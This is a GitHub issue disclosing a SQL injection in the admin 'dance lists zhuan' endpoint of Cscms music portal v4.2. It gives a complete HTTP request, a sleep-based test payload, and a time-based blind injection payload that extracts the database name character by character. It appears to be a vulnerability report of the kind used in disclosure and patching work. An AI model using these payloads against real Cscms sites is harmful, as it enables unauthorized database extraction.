Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection vulnerability exists in Cscms music portal system v4.2 #15

Open
Am1azi3ng opened this issue Mar 16, 2022 · 0 comments
Open

Comments

@Am1azi3ng
Copy link

SQL injection vulnerability exists in Cscms music portal system v4.2 (dance_Lists.php_zhuan)

Details

After the administrator logs in, the following data package is constructed

POST /admin.php/dance/admin/lists/zhuan HTTP/1.1
Host: cscms.test
Content-Length: 23
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/dance/admin/lists?v=7131
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=n9lv1ptm53932qcefgtfamknehtiv096;XDEBUG_SESSION=PHPSTORM
Connection: close

id[]=(sleep(5))&cid=5

The payload executes and sleeps for 5 seconds

image

construct payload

(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)

image

image

Because the first letter of the background database name is "c", it sleeps for 5 seconds

Vulnerability source code

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant